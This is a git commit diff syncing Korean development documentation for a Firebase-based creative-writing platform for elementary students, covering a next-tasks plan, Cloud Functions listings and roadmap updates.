docs: Sync documentation from private repository
This commit is contained in:
parent
8f3e710b0e
commit
12cce9d94c
281
NEXT_TASKS.md
Normal file
281
NEXT_TASKS.md
Normal file
@ -0,0 +1,281 @@
|
|||||||
|
# 다음 작업 계획
|
||||||
|
|
||||||
|
> 작성일: 2025-11-18
|
||||||
|
> Phase 1 마무리 및 다음 단계 준비
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ✅ 현재 상태
|
||||||
|
|
||||||
|
- **Phase 1 진행률**: 99% 완료
|
||||||
|
- **타입 체크**: ✅ 통과 (에러 0개)
|
||||||
|
- **최근 완료**:
|
||||||
|
- Level 1 중복 체크 로직 (UID 기반, Custom Token)
|
||||||
|
- 팀 나가기 기능
|
||||||
|
- 서비스 레이어 i18n 유틸리티
|
||||||
|
- firebaseAuth.ts 다국어 지원
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔴 최우선 작업 (오늘~내일)
|
||||||
|
|
||||||
|
### 1. Firebase Security Rules 작성 및 배포 ⚡ (30분)
|
||||||
|
|
||||||
|
**현재 문제**: Firestore에 보안 규칙이 없어 누구나 모든 데이터 접근 가능 💥
|
||||||
|
|
||||||
|
**작업 내용**:
|
||||||
|
```
|
||||||
|
1. firestore.rules 파일 생성
|
||||||
|
2. 컬렉션별 규칙 작성:
|
||||||
|
- users: 본인만 수정 가능
|
||||||
|
- teams: 소유자만 수정, 멤버는 읽기
|
||||||
|
- writings: 본인만 CRUD
|
||||||
|
- topics: 소유자만 수정
|
||||||
|
- patternAnalyses: 읽기 전용 (캐시용)
|
||||||
|
3. Firebase Console에 배포
|
||||||
|
4. 테스트 (권한 없는 접근 차단 확인)
|
||||||
|
```
|
||||||
|
|
||||||
|
**우선순위**: 🔴 높음 (보안 필수)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2. Level 1 실제 작동 테스트 🧪 (30분)
|
||||||
|
|
||||||
|
**목적**: 구현한 UID 기반 중복 체크 로직 검증
|
||||||
|
|
||||||
|
**테스트 시나리오**:
|
||||||
|
|
||||||
|
#### 시나리오 A: 첫 로그인
|
||||||
|
```
|
||||||
|
1. npm run dev
|
||||||
|
2. Level 1 팀 생성 (완전 개방)
|
||||||
|
3. 로그아웃 (또는 시크릿 모드)
|
||||||
|
4. 팀 코드 입력 → "철수" 입력
|
||||||
|
5. 예상: 새 익명 계정 생성 ✅
|
||||||
|
6. 확인: /team/{teamId} 페이지에서 멤버 확인
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 시나리오 B: 재로그인 (핵심)
|
||||||
|
```
|
||||||
|
1. 로그아웃
|
||||||
|
2. 동일 팀 코드 → "철수" 입력
|
||||||
|
3. 예상: Custom Token으로 기존 계정 로그인 ✅
|
||||||
|
4. 확인: 이전 글이 그대로 있는지 확인
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 시나리오 C: 다른 브라우저 (중요)
|
||||||
|
```
|
||||||
|
1. 다른 브라우저 또는 시크릿 모드
|
||||||
|
2. 동일 팀 코드 → "철수" 입력
|
||||||
|
3. 예상: 동일 계정으로 로그인 ✅
|
||||||
|
4. 확인: 크로스 디바이스 로그인 작동
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 시나리오 D: 정식 계정 이름 중복 (보안)
|
||||||
|
```
|
||||||
|
1. Google 로그인 → 팀 가입 → 닉네임 "영희"
|
||||||
|
2. 로그아웃
|
||||||
|
3. 비로그인 상태에서 "영희" 입력
|
||||||
|
4. 예상: "이미 사용 중인 이름입니다" 에러 ✅
|
||||||
|
5. 확인: 정식 계정 탈취 방지
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 시나리오 E: 로그인 상태에서 중복
|
||||||
|
```
|
||||||
|
1. "철수"로 로그인된 상태
|
||||||
|
2. 팀 참여 시도 → "철수" 입력
|
||||||
|
3. 예상: "이미 이 팀에 가입되어 있습니다" 에러 ✅
|
||||||
|
```
|
||||||
|
|
||||||
|
**우선순위**: 🔴 높음 (복잡한 로직, 검증 필수)
|
||||||
|
|
||||||
|
**예상 버그**:
|
||||||
|
- Custom Token API 경로 오류 가능성
|
||||||
|
- 에러 메시지 번역 누락 가능성
|
||||||
|
- Firebase Admin SDK 권한 문제
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3. 코드 정리 및 최적화 🧹 (30분)
|
||||||
|
|
||||||
|
**체크리스트**:
|
||||||
|
```
|
||||||
|
□ console.log 제거 또는 조건부 처리 (process.env.NODE_ENV === 'development')
|
||||||
|
□ 사용하지 않는 import 제거
|
||||||
|
□ TODO 코멘트 확인 및 처리
|
||||||
|
□ 중복 코드 리팩토링
|
||||||
|
□ 불필요한 any 타입 제거
|
||||||
|
□ ESLint 경고 수정
|
||||||
|
```
|
||||||
|
|
||||||
|
**대상 파일**:
|
||||||
|
- `src/services/firebaseAuth.ts` (많은 로그)
|
||||||
|
- `src/components/auth/StudentLoginFlow.tsx`
|
||||||
|
- `src/managers/WritingSessionManager.ts` (디버그 로그)
|
||||||
|
|
||||||
|
**우선순위**: 🟡 중간
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🟡 이번 주 완료 목표
|
||||||
|
|
||||||
|
### 4. 에러 처리 개선 (1시간)
|
||||||
|
|
||||||
|
**작업 내용**:
|
||||||
|
|
||||||
|
#### A. 전역 에러 바운더리
|
||||||
|
```tsx
|
||||||
|
// src/app/[locale]/error.tsx 생성
|
||||||
|
'use client';
|
||||||
|
|
||||||
|
export default function Error({
|
||||||
|
error,
|
||||||
|
reset,
|
||||||
|
}: {
|
||||||
|
error: Error & { digest?: string };
|
||||||
|
reset: () => void;
|
||||||
|
}) {
|
||||||
|
return (
|
||||||
|
<Box minH="100vh" display="flex" alignItems="center" justifyContent="center">
|
||||||
|
<VStack>
|
||||||
|
<Heading>오류가 발생했습니다</Heading>
|
||||||
|
<Text>{error.message}</Text>
|
||||||
|
<Button onClick={reset}>다시 시도</Button>
|
||||||
|
</VStack>
|
||||||
|
</Box>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### B. 404 페이지 개선
|
||||||
|
```tsx
|
||||||
|
// src/app/[locale]/not-found.tsx 개선
|
||||||
|
// 현재: 없음
|
||||||
|
// 추가: 사용자 친화적 디자인, 홈으로 돌아가기
|
||||||
|
```
|
||||||
|
|
||||||
|
#### C. API 에러 통합 처리
|
||||||
|
```typescript
|
||||||
|
// src/utils/apiErrorHandler.ts 생성
|
||||||
|
// 일관된 에러 토스트 표시
|
||||||
|
```
|
||||||
|
|
||||||
|
**우선순위**: 🟡 중간
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 5. 성능 최적화 체크 (30분)
|
||||||
|
|
||||||
|
**체크 항목**:
|
||||||
|
```
|
||||||
|
□ React DevTools Profiler로 불필요한 리렌더링 확인
|
||||||
|
□ 번들 크기 분석 (npm run build 후 확인)
|
||||||
|
□ 이미지 최적화 (Next.js Image 사용)
|
||||||
|
□ Lighthouse 점수 측정 (목표: 90+)
|
||||||
|
□ 초기 로딩 속도 (목표: 2초 이내)
|
||||||
|
```
|
||||||
|
|
||||||
|
**예상 개선점**:
|
||||||
|
- WritingEditor 메모이제이션
|
||||||
|
- 큰 컴포넌트 lazy loading
|
||||||
|
- 사용하지 않는 라이브러리 제거
|
||||||
|
|
||||||
|
**우선순위**: 🟡 중간
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 6. Phase 1 문서 최종 검토 (30분)
|
||||||
|
|
||||||
|
**체크리스트**:
|
||||||
|
```
|
||||||
|
□ CLAUDE.md - 최신 정보 반영 확인
|
||||||
|
□ PROJECT_STRUCTURE.md - 모든 파일 반영
|
||||||
|
□ ROADMAP.md - 완료 항목 이동
|
||||||
|
□ API_SPEC.md - 모든 엔드포인트 문서화
|
||||||
|
□ README.md - 설치/실행 가이드 확인
|
||||||
|
□ DATA_MODELS.md - 스키마 최신화
|
||||||
|
```
|
||||||
|
|
||||||
|
**우선순위**: 🟢 낮음
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🟢 다음 주 시작 작업
|
||||||
|
|
||||||
|
### 옵션 A: Phase 2 - 학습 시스템 설계
|
||||||
|
|
||||||
|
#### 7. 학습 페이지 설계 (2-3시간)
|
||||||
|
```
|
||||||
|
1. /learn 페이지 와이어프레임
|
||||||
|
2. Lesson 데이터 모델 설계:
|
||||||
|
- id, title, content, category, difficulty
|
||||||
|
- prerequisites (선수 레슨)
|
||||||
|
- quizzes (연습 문제)
|
||||||
|
- completionCriteria
|
||||||
|
3. UI 컴포넌트 설계:
|
||||||
|
- LessonCard (썸네일, 제목, 난이도)
|
||||||
|
- LessonContent (이론, 예시)
|
||||||
|
- QuizSection (문제 풀이)
|
||||||
|
- ProgressBar (진행률)
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 8. 첫 레슨 콘텐츠 작성 (1-2시간)
|
||||||
|
```
|
||||||
|
예시: "문장 만들기 첫걸음"
|
||||||
|
- 이론: 주어와 서술어
|
||||||
|
- 예시: "나는 달린다", "고양이가 잔다"
|
||||||
|
- 연습: 주어를 고르세요 (4지선다)
|
||||||
|
- 평가: 문장 3개 만들기
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 옵션 B: 베타 테스트 준비
|
||||||
|
|
||||||
|
#### 9. 베타 테스터 모집 (1주일)
|
||||||
|
```
|
||||||
|
1. 초등학교 선생님 1-2명 섭외
|
||||||
|
2. 테스트 계정 준비
|
||||||
|
3. 사용 가이드 작성
|
||||||
|
4. 피드백 수집 양식 준비 (Google Forms)
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 10. 실제 수업 시나리오 테스트
|
||||||
|
```
|
||||||
|
시나리오: 초등 2학년 반 (25명)
|
||||||
|
1. 선생님이 팀 생성 (Level 2, 명단 등록)
|
||||||
|
2. 학생들 팀 코드로 로그인
|
||||||
|
3. 팀 주제 "오늘의 날씨" 작성
|
||||||
|
4. 선생님 실시간 모니터링
|
||||||
|
5. 피드백 수집
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 💡 제 최종 추천 순서
|
||||||
|
|
||||||
|
### 오늘 (1.5시간):
|
||||||
|
1. **Firebase Security Rules** (30분) ⚡ 최우선
|
||||||
|
2. **Level 1 테스트** (30분) 🧪 검증 필수
|
||||||
|
3. **코드 정리** (30분) 🧹 품질 확보
|
||||||
|
|
||||||
|
### 내일 (선택):
|
||||||
|
4. **에러 처리 개선** (1시간) - Phase 1 완성도
|
||||||
|
5. **성능 최적화** (30분) - 사용자 경험
|
||||||
|
|
||||||
|
### 다음 주 (선택 1개):
|
||||||
|
- **옵션 A**: Phase 2 시작 (학습 시스템) - 기능 확장
|
||||||
|
- **옵션 B**: 베타 테스트 준비 - 실사용 피드백
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📋 작업 선택 가이드
|
||||||
|
|
||||||
|
**빠른 출시를 원하면**: Firebase Rules → 테스트 → 베타 테스트
|
||||||
|
**기능을 더 만들고 싶으면**: Firebase Rules → 테스트 → Phase 2 시작
|
||||||
|
**코드 품질 우선이면**: 코드 정리 → 에러 처리 → 성능 최적화
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
어떤 작업부터 시작할까요?
|
||||||
@ -325,7 +325,7 @@
|
|||||||
| ~~**SpellingErrorDisplay**~~ | ~~`SpellingErrorDisplay.tsx`~~ | ~~맞춤법 오류 표시~~ | ❌ 삭제됨 (하이라이트로 대체) |
|
| ~~**SpellingErrorDisplay**~~ | ~~`SpellingErrorDisplay.tsx`~~ | ~~맞춤법 오류 표시~~ | ❌ 삭제됨 (하이라이트로 대체) |
|
||||||
| **CreateTopicDialog** | `CreateTopicDialog.tsx` | 개인 주제 생성 다이얼로그 (태그 입력 UI) | ✅ 완료 |
|
| **CreateTopicDialog** | `CreateTopicDialog.tsx` | 개인 주제 생성 다이얼로그 (태그 입력 UI) | ✅ 완료 |
|
||||||
| **CreateTeamTopicDialog** | `CreateTeamTopicDialog.tsx` | 팀 주제 생성 다이얼로그 (템플릿 지원) | ✅ 완료 |
|
| **CreateTeamTopicDialog** | `CreateTeamTopicDialog.tsx` | 팀 주제 생성 다이얼로그 (템플릿 지원) | ✅ 완료 |
|
||||||
| **SavedDraftsDialog** | `SavedDraftsDialog.tsx` | 저장된 글조각 목록 다이얼로그 (불러오기/삭제) | ✅ 완료 |
|
| **SavedDraftsDialog** | `SavedDraftsDialog.tsx` | 저장된 글조각 목록 다이얼로그 (불러오기/삭제, **동기화 상태 배지** 🟢synced/🟡syncing/⚪local) | ✅ 완료 |
|
||||||
|
|
||||||
**주요 기능**:
|
**주요 기능**:
|
||||||
- ✅ 순수 텍스트 입력 (포맷팅 없음)
|
- ✅ 순수 텍스트 입력 (포맷팅 없음)
|
||||||
@ -469,7 +469,7 @@
|
|||||||
| **ManagerBase** | `ManagerBase.ts` | 공통 기능 (authenticatedFetch, API 호출, 캐싱) | ✅ 완료 |
|
| **ManagerBase** | `ManagerBase.ts` | 공통 기능 (authenticatedFetch, API 호출, 캐싱) | ✅ 완료 |
|
||||||
| **TeamManager** | `TeamManager.ts` | 팀 관련 API 호출 (생성, 조회, 수정, 삭제, 멤버 관리) | ✅ 완료 |
|
| **TeamManager** | `TeamManager.ts` | 팀 관련 API 호출 (생성, 조회, 수정, 삭제, 멤버 관리) | ✅ 완료 |
|
||||||
| **UserManager** | `UserManager.ts` | 사용자 관련 API 호출 (생성, 조회, 수정, 닉네임 관리) **[NEW]** | ✅ 완료 |
|
| **UserManager** | `UserManager.ts` | 사용자 관련 API 호출 (생성, 조회, 수정, 닉네임 관리) **[NEW]** | ✅ 완료 |
|
||||||
| **DraftManager** | `DraftManager.ts` | 글조각 관리 (localStorage 기반, 최대 10개, CRUD) | ✅ 완료 |
|
| **DraftManager** | `DraftManager.ts` | 글조각 관리 (**localStorage + Realtime DB 하이브리드**, 기기 간 동기화, 최대 10개, CRUD, syncStatus) | ✅ 완료 |
|
||||||
| **WritingSessionManager** | `WritingSessionManager.ts` | 🆕 **실시간 글쓰기 세션 관리** (Firebase Realtime DB 작업) | ✅ 완료 |
|
| **WritingSessionManager** | `WritingSessionManager.ts` | 🆕 **실시간 글쓰기 세션 관리** (Firebase Realtime DB 작업) | ✅ 완료 |
|
||||||
| ~~**StudentManager**~~ | ~~`StudentManager.ts`~~ | ~~학생 관련 API 호출~~ | ⚠️ Deprecated (UserManager로 대체) |
|
| ~~**StudentManager**~~ | ~~`StudentManager.ts`~~ | ~~학생 관련 API 호출~~ | ⚠️ Deprecated (UserManager로 대체) |
|
||||||
| **WritingManager** | `WritingManager.ts` | 글쓰기 관련 비즈니스 로직 (CRUD, 통계) | ✅ 완료 |
|
| **WritingManager** | `WritingManager.ts` | 글쓰기 관련 비즈니스 로직 (CRUD, 통계) | ✅ 완료 |
|
||||||
@ -494,6 +494,41 @@
|
|||||||
- `requestPreview(targetUserId)`: 미리보기 요청 (Promise 반환)
|
- `requestPreview(targetUserId)`: 미리보기 요청 (Promise 반환)
|
||||||
- `listenForPreviewRequests(onRequestCallback)`: 미리보기 요청 리스너 (학생용)
|
- `listenForPreviewRequests(onRequestCallback)`: 미리보기 요청 리스너 (학생용)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 🆕 `functions/` - Firebase Cloud Functions (서버리스 백엔드)
|
||||||
|
|
||||||
|
Firebase Cloud Functions로 구현된 백그라운드 작업 및 자동화 로직입니다.
|
||||||
|
|
||||||
|
| Function | 파일 | 타입 | 스케줄/Trigger | 설명 | 상태 |
|
||||||
|
|----------|------|------|----------------|------|------|
|
||||||
|
| **cleanupExpiredReservations** | `cleanup.ts` | Scheduled | 매 시간 0분 | 만료된 팀 코드 예약 정리 (expiresAt < now) | ✅ 배포됨 |
|
||||||
|
| **cleanupExpiredDrafts** | `triggers/drafts.ts` | Scheduled | 매일 새벽 3시 | 180일 이상 오래된 drafts 정리 (Realtime DB) | ✅ 배포됨 |
|
||||||
|
| **onTeamDeleted** | `triggers/team.ts` | Firestore Trigger | teams/{teamId} 삭제 | 팀 주제, 모니터링 데이터 cascade 삭제 | ✅ 배포됨 |
|
||||||
|
| **onWritingCreated** | `triggers/writing.ts` | Firestore Trigger | writings/{writingId} 생성 | 글 생성 감지 (추후 백그라운드 분석) | ✅ 배포됨 |
|
||||||
|
|
||||||
|
**주요 특징**:
|
||||||
|
- ✅ **서버리스**: 별도 서버 관리 불필요, 자동 스케일링
|
||||||
|
- ✅ **한글 로그**: 모든 logger 메시지 한글 작성
|
||||||
|
- ✅ **리전**: asia-northeast1 (도쿄, 한국과 가장 가까움)
|
||||||
|
- ✅ **파일 분리**: index.ts에서는 export만, 로직은 별도 파일
|
||||||
|
- ✅ **에러 처리**: 일부 실패해도 전체 작업 계속 진행
|
||||||
|
|
||||||
|
**배포 명령어**:
|
||||||
|
```bash
|
||||||
|
cd functions
|
||||||
|
npm run build
|
||||||
|
npm run deploy
|
||||||
|
```
|
||||||
|
|
||||||
|
**로그 확인**:
|
||||||
|
```bash
|
||||||
|
firebase functions:log
|
||||||
|
firebase functions:log --only cleanupExpiredReservations
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
### 📁 `src/services/` - 데이터 레이어 (일부 deprecated)
|
### 📁 `src/services/` - 데이터 레이어 (일부 deprecated)
|
||||||
|
|
||||||
| 서비스 | 파일명 | 설명 | 상태 |
|
| 서비스 | 파일명 | 설명 | 상태 |
|
||||||
@ -528,7 +563,7 @@
|
|||||||
| **FirestoreUser 타입** | `firestoreUser.ts` | **FirestoreUser** (DB 저장용), **User** (UI용) 분리 | ✅ 완료 |
|
| **FirestoreUser 타입** | `firestoreUser.ts` | **FirestoreUser** (DB 저장용), **User** (UI용) 분리 | ✅ 완료 |
|
||||||
| **Writing 타입** | `writing.ts` | 글 데이터 모델, 🆕 **WritingAnalysis** (AI 분석 결과, contentHash 기반 재사용), **SpellingError** (맞춤법 오류), 🆕 **AIAssistanceRecord** (AI 도움 이력), 🆕 **GeneratedImage** (AI 생성 이미지) | ✅ 완료 |
|
| **Writing 타입** | `writing.ts` | 글 데이터 모델, 🆕 **WritingAnalysis** (AI 분석 결과, contentHash 기반 재사용), **SpellingError** (맞춤법 오류), 🆕 **AIAssistanceRecord** (AI 도움 이력), 🆕 **GeneratedImage** (AI 생성 이미지) | ✅ 완료 |
|
||||||
| **Scene 타입** | `scene.ts` | 🆕 **장면 데이터 모델** (Scene, SceneExtractionResponse) | ✅ 완료 |
|
| **Scene 타입** | `scene.ts` | 🆕 **장면 데이터 모델** (Scene, SceneExtractionResponse) | ✅ 완료 |
|
||||||
| **Draft 타입** | `draft.ts` | 글조각 데이터 모델 (Draft, DraftListItem, **AnalysisHistoryItem**) | ✅ 완료 |
|
| **Draft 타입** | `draft.ts` | 글조각 데이터 모델 (Draft, DraftListItem, **AnalysisHistoryItem**, **syncStatus**: 'local'\|'synced'\|'syncing') | ✅ 완료 |
|
||||||
| **WritingPattern 타입** | `writingPattern.ts` | **글 작성 패턴 분석** 데이터 모델 (WritingPatternAnalysis) | ✅ 완료 |
|
| **WritingPattern 타입** | `writingPattern.ts` | **글 작성 패턴 분석** 데이터 모델 (WritingPatternAnalysis) | ✅ 완료 |
|
||||||
| **WritingSession 타입** | `writingSession.ts` | 🆕 **실시간 모니터링** 데이터 모델 (WritingStats, PreviewRequest/Response, MonitoringData) | ✅ 완료 |
|
| **WritingSession 타입** | `writingSession.ts` | 🆕 **실시간 모니터링** 데이터 모델 (WritingStats, PreviewRequest/Response, MonitoringData) | ✅ 완료 |
|
||||||
| ~~**User 타입**~~ | ~~`user.ts`~~ | ~~사용자 데이터 모델~~ | ⚠️ Deprecated (firestoreUser.ts로 변경) |
|
| ~~**User 타입**~~ | ~~`user.ts`~~ | ~~사용자 데이터 모델~~ | ⚠️ Deprecated (firestoreUser.ts로 변경) |
|
||||||
@ -663,6 +698,18 @@
|
|||||||
project_w/
|
project_w/
|
||||||
├── database.rules.json # 🆕 Firebase Realtime DB Security Rules
|
├── database.rules.json # 🆕 Firebase Realtime DB Security Rules
|
||||||
│
|
│
|
||||||
|
├── functions/ # 🆕 Firebase Cloud Functions (서버리스 백엔드)
|
||||||
|
│ ├── src/
|
||||||
|
│ │ ├── index.ts # Entry point (export만)
|
||||||
|
│ │ ├── cleanup.ts # cleanupExpiredReservations (매 시간)
|
||||||
|
│ │ └── triggers/
|
||||||
|
│ │ ├── drafts.ts # cleanupExpiredDrafts (매일 새벽 3시)
|
||||||
|
│ │ ├── team.ts # onTeamDeleted (Firestore Trigger)
|
||||||
|
│ │ └── writing.ts # onWritingCreated (Firestore Trigger)
|
||||||
|
│ ├── lib/ # 빌드 결과 (tsc)
|
||||||
|
│ ├── package.json
|
||||||
|
│ └── tsconfig.json
|
||||||
|
│
|
||||||
├── messages/ # 🆕 다국어 번역 파일
|
├── messages/ # 🆕 다국어 번역 파일
|
||||||
│ ├── ko.json # 한국어 번역
|
│ ├── ko.json # 한국어 번역
|
||||||
│ └── en.json # 영어 번역
|
│ └── en.json # 영어 번역
|
||||||
@ -734,7 +781,7 @@ project_w/
|
|||||||
│ ├── TopicManager.ts # 주제 관리
|
│ ├── TopicManager.ts # 주제 관리
|
||||||
│ ├── TeamManager.ts # 팀 관리
|
│ ├── TeamManager.ts # 팀 관리
|
||||||
│ ├── UserManager.ts # 사용자 관리
|
│ ├── UserManager.ts # 사용자 관리
|
||||||
│ ├── DraftManager.ts # 글조각 관리 (localStorage)
|
│ ├── DraftManager.ts # 글조각 관리 (localStorage + Realtime DB 하이브리드)
|
||||||
│ └── [미구현]
|
│ └── [미구현]
|
||||||
│ ├── LevelManager.ts
|
│ ├── LevelManager.ts
|
||||||
│ └── StickerManager.ts
|
│ └── StickerManager.ts
|
||||||
|
|||||||
10
ROADMAP.md
10
ROADMAP.md
@ -1,6 +1,6 @@
|
|||||||
# 라온누리 - 개발 로드맵
|
# 라온누리 - 개발 로드맵
|
||||||
|
|
||||||
> 최종 업데이트: 2025-11-18 (팀 코드 다국어 생성 + Realtime DB 예약)
|
> 최종 업데이트: 2025-11-19 (AI Delta 개선 + Draft 동기화 + Firebase Functions Phase 1)
|
||||||
|
|
||||||
초등학생을 위한 창작 글쓰기 교육 플랫폼 개발 계획
|
초등학생을 위한 창작 글쓰기 교육 플랫폼 개발 계획
|
||||||
|
|
||||||
@ -63,12 +63,12 @@
|
|||||||
| **API Routes 구현** | **보안 레벨 변경, 명단 관리 API (RESTful 원칙), POST/DELETE 메서드 구분** | **2025-11-10** |
|
| **API Routes 구현** | **보안 레벨 변경, 명단 관리 API (RESTful 원칙), POST/DELETE 메서드 구분** | **2025-11-10** |
|
||||||
| **lib/server/team 확장** | **updateTeamSecurityLevel, add/removeAllowedName/Email, 자동 명단 생성** | **2025-11-10** |
|
| **lib/server/team 확장** | **updateTeamSecurityLevel, add/removeAllowedName/Email, 자동 명단 생성** | **2025-11-10** |
|
||||||
| **react-icons 전환** | **이모티콘 → react-icons/lu로 전환 (LuGlobe, LuClipboardList 등)** | **2025-11-10** |
|
| **react-icons 전환** | **이모티콘 → react-icons/lu로 전환 (LuGlobe, LuClipboardList 등)** | **2025-11-10** |
|
||||||
| **다중 글조각 관리** | **DraftManager (localStorage, 최대 10개), SavedDraftsDialog, 2초 debounce 자동 저장, 저장 상태 표시** | **2025-11-10** |
|
| **다중 글조각 관리** | **DraftManager (localStorage + Realtime DB 하이브리드, 기기 간 동기화, 최대 10개), SavedDraftsDialog (syncStatus 배지), 2초 debounce 자동 저장** | **2025-11-10 / 2025-11-19** |
|
||||||
| **테마 슬롯 레시피** | **Dialog, Select slot recipe 추가 (자동 배경색, border, shadow)** | **2025-11-10** |
|
| **테마 슬롯 레시피** | **Dialog, Select slot recipe 추가 (자동 배경색, border, shadow)** | **2025-11-10** |
|
||||||
| **TopicSelector 그룹핑** | **ItemGroup으로 자유/팀/개인 주제 구분, 팀 주제에 팀 이름 표시, Separator 추가** | **2025-11-10** |
|
| **TopicSelector 그룹핑** | **ItemGroup으로 자유/팀/개인 주제 구분, 팀 주제에 팀 이름 표시, Separator 추가** | **2025-11-10** |
|
||||||
| **TopicOption 확장** | **teamName 필드 추가, TopicManager에서 팀 정보 조회 (동적 import)** | **2025-11-10** |
|
| **TopicOption 확장** | **teamName 필드 추가, TopicManager에서 팀 정보 조회 (동적 import)** | **2025-11-10** |
|
||||||
| **주제 변경 경고 Dialog** | **작성 중 내용이 있을 때 주제 변경 시 경고 Dialog 표시, 임시 저장 안내** | **2025-11-10** |
|
| **주제 변경 경고 Dialog** | **작성 중 내용이 있을 때 주제 변경 시 경고 Dialog 표시, 임시 저장 안내** | **2025-11-10** |
|
||||||
| **실시간 피드백 시스템** | **Vertex AI 기반 텍스트 분석, ScoreDisplay 컴포넌트, Delta 전송 (토큰 40% 절감), 서버 캐싱 (LRU)** | **2025-11-11** |
|
| **실시간 피드백 시스템** | **Vertex AI 기반 텍스트 분석, ScoreDisplay 컴포넌트, Delta 전송 (diff-match-patch 기반, 5자 미만 누적, 80% 기준), 서버 캐싱 (LRU)** | **2025-11-11 / 2025-11-19** |
|
||||||
| **Multi-Region Failover** | **3개 region 자동 전환 (도쿄/싱가포르/미국), Region health tracking, Exponential backoff, RPM 3배 증가 (15→45)** | **2025-11-11** |
|
| **Multi-Region Failover** | **3개 region 자동 전환 (도쿄/싱가포르/미국), Region health tracking, Exponential backoff, RPM 3배 증가 (15→45)** | **2025-11-11** |
|
||||||
| **서비스 레이어 분리** | **vertexAI.ts (범용 래퍼), textAnalysisService.ts (분석 로직), regionHealthManager.ts (상태 관리)** | **2025-11-11** |
|
| **서비스 레이어 분리** | **vertexAI.ts (범용 래퍼), textAnalysisService.ts (분석 로직), regionHealthManager.ts (상태 관리)** | **2025-11-11** |
|
||||||
| **문서화 완료** | **TECHNICAL_IMPLEMENTATION.md, SERVICE_DIRECTION.md 전면 개편 (Vertex AI 기반)** | **2025-11-11** |
|
| **문서화 완료** | **TECHNICAL_IMPLEMENTATION.md, SERVICE_DIRECTION.md 전면 개편 (Vertex AI 기반)** | **2025-11-11** |
|
||||||
@ -96,6 +96,10 @@
|
|||||||
| **팀 나가기 기능** | **팀 상세 페이지에 "팀 나가기" 버튼 추가 (멤버만 표시), Dialog 확인창, teamManager.removeMember() 호출, POST /api/team/remove-member 권한 체크 수정 (본인 제거 허용, 소유자 제거 금지), 성공 시 팀 목록으로 리다이렉트, 번역 추가 (team.detail namespace, leaveTeam/leaveTeamConfirm 등 7개 키, ko/en/ja)** | **2025-11-18** |
|
| **팀 나가기 기능** | **팀 상세 페이지에 "팀 나가기" 버튼 추가 (멤버만 표시), Dialog 확인창, teamManager.removeMember() 호출, POST /api/team/remove-member 권한 체크 수정 (본인 제거 허용, 소유자 제거 금지), 성공 시 팀 목록으로 리다이렉트, 번역 추가 (team.detail namespace, leaveTeam/leaveTeamConfirm 등 7개 키, ko/en/ja)** | **2025-11-18** |
|
||||||
| **Level 1 중복 체크 로직 (UID 기반)** | **loginAsUser() 함수 수정 (currentUid 파라미터 추가), Level 1 닉네임 중복 체크 (team.members 검색), 4가지 케이스 처리 (비로그인/로그인 × 중복 유무), Custom Token API 생성 (POST /api/team/get-custom-token, 익명 계정만 발급), 비로그인 상태 중복 시 기존 계정으로 자동 로그인, 로그인 상태 중복 시 에러 (UID 일치 체크), 정식 계정 탈취 방지 (providerData 체크), authStore.loginAsUser에서 currentUid 전달, StudentLoginFlow 에러 메시지 처리, 번역 추가 (errors.team namespace, alreadyJoinedTeam/nicknameInUse 등 6개 키, ko/en/ja)** | **2025-11-18** |
|
| **Level 1 중복 체크 로직 (UID 기반)** | **loginAsUser() 함수 수정 (currentUid 파라미터 추가), Level 1 닉네임 중복 체크 (team.members 검색), 4가지 케이스 처리 (비로그인/로그인 × 중복 유무), Custom Token API 생성 (POST /api/team/get-custom-token, 익명 계정만 발급), 비로그인 상태 중복 시 기존 계정으로 자동 로그인, 로그인 상태 중복 시 에러 (UID 일치 체크), 정식 계정 탈취 방지 (providerData 체크), authStore.loginAsUser에서 currentUid 전달, StudentLoginFlow 에러 메시지 처리, 번역 추가 (errors.team namespace, alreadyJoinedTeam/nicknameInUse 등 6개 키, ko/en/ja)** | **2025-11-18** |
|
||||||
| **서비스 레이어 i18n 유틸리티** | **src/utils/i18n.ts 생성 (React 훅 없이 번역 사용), detectLocale() 함수 (URL path 우선 → navigator.language fallback), t() 함수 (nested key 지원, 파라미터 치환), messages/*.json import, firebaseAuth.ts 전체 에러 메시지 다국어 처리 (getErrorMessage, loginAsUser, linkEmailPassword, linkGoogleAccount), convertFirebaseUser 기본 이름 다국어, 번역 추가 (errors.auth namespace 11개 + errors.team namespace 6개, ko/en/ja)** | **2025-11-18** |
|
| **서비스 레이어 i18n 유틸리티** | **src/utils/i18n.ts 생성 (React 훅 없이 번역 사용), detectLocale() 함수 (URL path 우선 → navigator.language fallback), t() 함수 (nested key 지원, 파라미터 치환), messages/*.json import, firebaseAuth.ts 전체 에러 메시지 다국어 처리 (getErrorMessage, loginAsUser, linkEmailPassword, linkGoogleAccount), convertFirebaseUser 기본 이름 다국어, 번역 추가 (errors.auth namespace 11개 + errors.team namespace 6개, ko/en/ja)** | **2025-11-18** |
|
||||||
|
